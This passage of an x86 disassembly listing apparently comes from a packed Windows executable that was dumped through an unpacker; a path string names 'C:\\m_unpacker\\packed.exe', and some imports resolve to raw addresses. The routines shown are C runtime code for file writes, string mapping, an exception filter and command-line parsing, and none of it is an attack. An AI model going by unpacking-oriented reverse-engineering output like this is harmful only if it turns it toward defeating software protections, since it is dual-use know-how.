		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		call	near ptr 26A0CA7h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		call	near ptr 26A0CA7h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2720000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2861045h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2630152h
		nop


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2690000h
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


